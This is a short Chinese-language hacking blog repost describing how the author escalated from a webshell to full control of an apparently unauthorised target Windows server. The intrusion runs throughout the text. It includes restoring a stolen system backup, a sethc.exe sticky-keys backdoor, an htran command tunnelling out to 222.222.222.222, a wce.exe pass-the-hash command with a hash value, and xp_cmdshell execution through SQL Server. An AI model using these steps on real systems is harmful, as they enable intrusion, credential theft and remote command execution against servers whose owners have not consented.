猪三哥那看到的，再次验证渗透玩的是思路，学习下
 
  
 
一頭豬，搞到WEBSHELL~補丁很全，無神馬缺陷，裝了個微軟FTP,SQL2005，常規辦法無法提權,~一看D盤有一個前天的系統BKF文件~啊哦~COPY 到WEB 目錄下回來~裝個虛擬豬還原BKF文件~稍等片刻之後，虛擬豬就變成目標豬的系統了~無密碼登入呢~插入WINPE光盤~替換sethc.exe ，重啟，按5次shift，新建帳號進入~抓hash，不幸的是超過14位，無法破解~等死嗎？肯定不能啦~既然有目標豬的hash了，還能死嗎？
OK，本地執行htran -s -listen 1234 5200,webshell執行htran -s -connect 222.222.222.222 1234
當然了，目標豬是可以上網的，OK 得到一條SOCK5代理,222.222.222.222:5200
本地設置ProxyCap允許所有程序通過此代理連接，然後wce.exe -s administrator:zhu:00000000000000000000000000000000:4A59CF37F6A2307D14ABA1921E8BBFE6 替換HASH
不要想著直接ipc,即使設置所有程序通過代理連接，也掛不到系統核心的那些XX程式，打開SQL Server Management Studio，填寫目標豬IP，選擇WINDOWS認證，OK，成功登陸目標的SQL，然後就是神馬exec master..xp_cmdshell 神馬豬的了~

摘自 RoGe's Blog